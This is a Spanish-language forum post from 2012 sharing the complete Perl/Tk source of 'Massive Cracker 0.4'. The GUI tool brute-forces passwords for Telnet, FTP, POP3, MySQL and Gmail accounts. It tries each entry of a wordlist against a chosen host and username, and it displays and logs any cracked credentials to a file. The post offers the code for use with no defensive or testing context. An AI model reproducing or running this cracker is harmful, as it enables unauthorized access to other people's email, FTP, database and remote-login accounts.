[Perl Tk] Masive Cracker 0.4

Iniciado por BigBear, 2 Junio 2012, 21:18 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Version Tk de este programa para crackear cuentas del tipo telnet,ftp,pop3 y gmail.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Massive Cracker 0.4
#Version Tk
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

use Cwd;
use Tk;
use Tk::FileSelect;
use Tk::Dialog;
use LWP::UserAgent;
use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;
use Mail::POP3Client;
use IO::Socket::SSL;

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "green";
my $color_fondo = "black";

my $newdax =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdax->title("Massive Cracker 0.4");
$newdax->geometry("320x270+50+50");
$newdax->resizable( 0, 0 );

$menula = $newdax->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxaz = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxaz = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxaz = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxaz->command(
    -label      => "Crack",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crack
);
$menulnowaxaz->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsaz
);
$aboutnowaxaz->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxaz
);
$exitnowaxaz->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnowaz
);

#
$newdax->Label(
    -text       => "Host : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $host = $newdax->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 43 );
$newdax->Label(
    -text       => "Username : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 70 );
my $username = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 73 );
$newdax->Label(
    -text       => "Wordlist : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 100 );
my $password = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 103 );
$newdax->Button(
    -text             => "Browse",
    -width            => 10,
    -command          => \&bronaf,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 225, -y => 103 );
$newdax->Label(
    -text       => "Timeout : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 130 );
my $timeout = $newdax->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 133 );

$newdax->Label(
    -text       => "Service : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 170 );
$newdax->Optionmenu(
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -options          => [
        [ FTP    => FTP ],
        [ TELNET => TELNET ],
        [ POP3   => POP3 ],
        [ MYSQL  => MYSQL ],
        [ GMAIL  => GMAIL ]
    ],
    -textvariable => \$service
)->place( -x => 90, -y => 170 );

$newdax->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 220 );
my $status = $newdax->Entry(
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 225 );

#

MainLoop;

sub crack {

    my $host = $host->get;
    my $user = $username->get;
    my $word = $password->get;
    my $time = $timeout->get;

    my $op = $service;

    if ( -f $word ) {

        $status->configure( -text => " " );

        if ( $op eq "TELNET" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $telnet = new Net::Telnet( Errmode => "return" );
                $telnet->open($host);
                if ( $telnet->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Telnet" );
                }
                $telnet->close;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "FTP" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $ftp = Net::FTP->new($host);
                if ( $ftp->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "FTP" );
                }
                $ftp->quit;
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }
        elsif ( $op eq "POP3" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                $pop = Net::POP3->new($host);
                if ( $pop->login( $user, $pass ) ) {
                    $cont = "1";
                    yeah( $host, $user, $pass, "POP3" );
                }
                $pop->quit();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "MYSQL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            $target = "dbi:mysql::" . $host . ":3306";

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                if ( my $now =
                    DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
                {
                    $cont = "1";
                    yeah( $host, $user, $pass, "Mysql" );
                }
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }
        }

        elsif ( $op eq "GMAIL" ) {

            my $cont = "0";

            my @words = openwordlist($word);

            for my $pass (@words) {
                chomp $pass;
                $newdax->update;
                $status->configure( -text => $pass );
                sleep($time);
                my $so = IO::Socket::SSL->new(
                    PeerAddr => "pop.gmail.com",
                    PeerPort => 995,
                    Proto    => "tcp"
                );

                my $nave = Mail::POP3Client->new();

                $nave->User($user);
                $nave->Pass($pass);
                $nave->Socket($so);

                if ( $nave->Connect() ) {
                    $cont = "1";
                    yeah( "pop.gmail.com", $user, $pass, "Gmail" );
                }

                $so->close();
                $nave->close();
            }
            if ( $cont eq "0" ) {
                $status->configure( -text => "Not Found" );
            }

        }
        else {
        }
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub yeah {

    my $foundtk = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $foundtk->title("Account Cracked");
    $foundtk->geometry("280x130+20+20");
    $foundtk->resizable( 0, 0 );

    $foundtk->Label(
        -text       => "Host : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $host_found = $foundtk->Entry(
        -width      => 30,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 67, -y => 25 );
    $foundtk->Label(
        -text       => "Username : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 50 );
    my $user_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 55 );
    $foundtk->Label(
        -text       => "Password : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 80 );
    my $pass_found = $foundtk->Entry(
        -width      => 24,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 103, -y => 85 );

    $host_found->configure( -text => $_[0] );
    $user_found->configure( -text => $_[1] );
    $pass_found->configure( -text => $_[2] );

    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

    last;

}

sub openwordlist {

    my @words;
    my ($file) = @_;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    return @words;

}

sub bronaf {
    $newdax->update;
    $browse = $newdax->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $password->configure( -text => $file );
}

sub aboutxaz {
    $newdax->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub openlogsaz {
    my $f = "cracked-logs.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdax->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub exitnowaz { exit 1; }

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?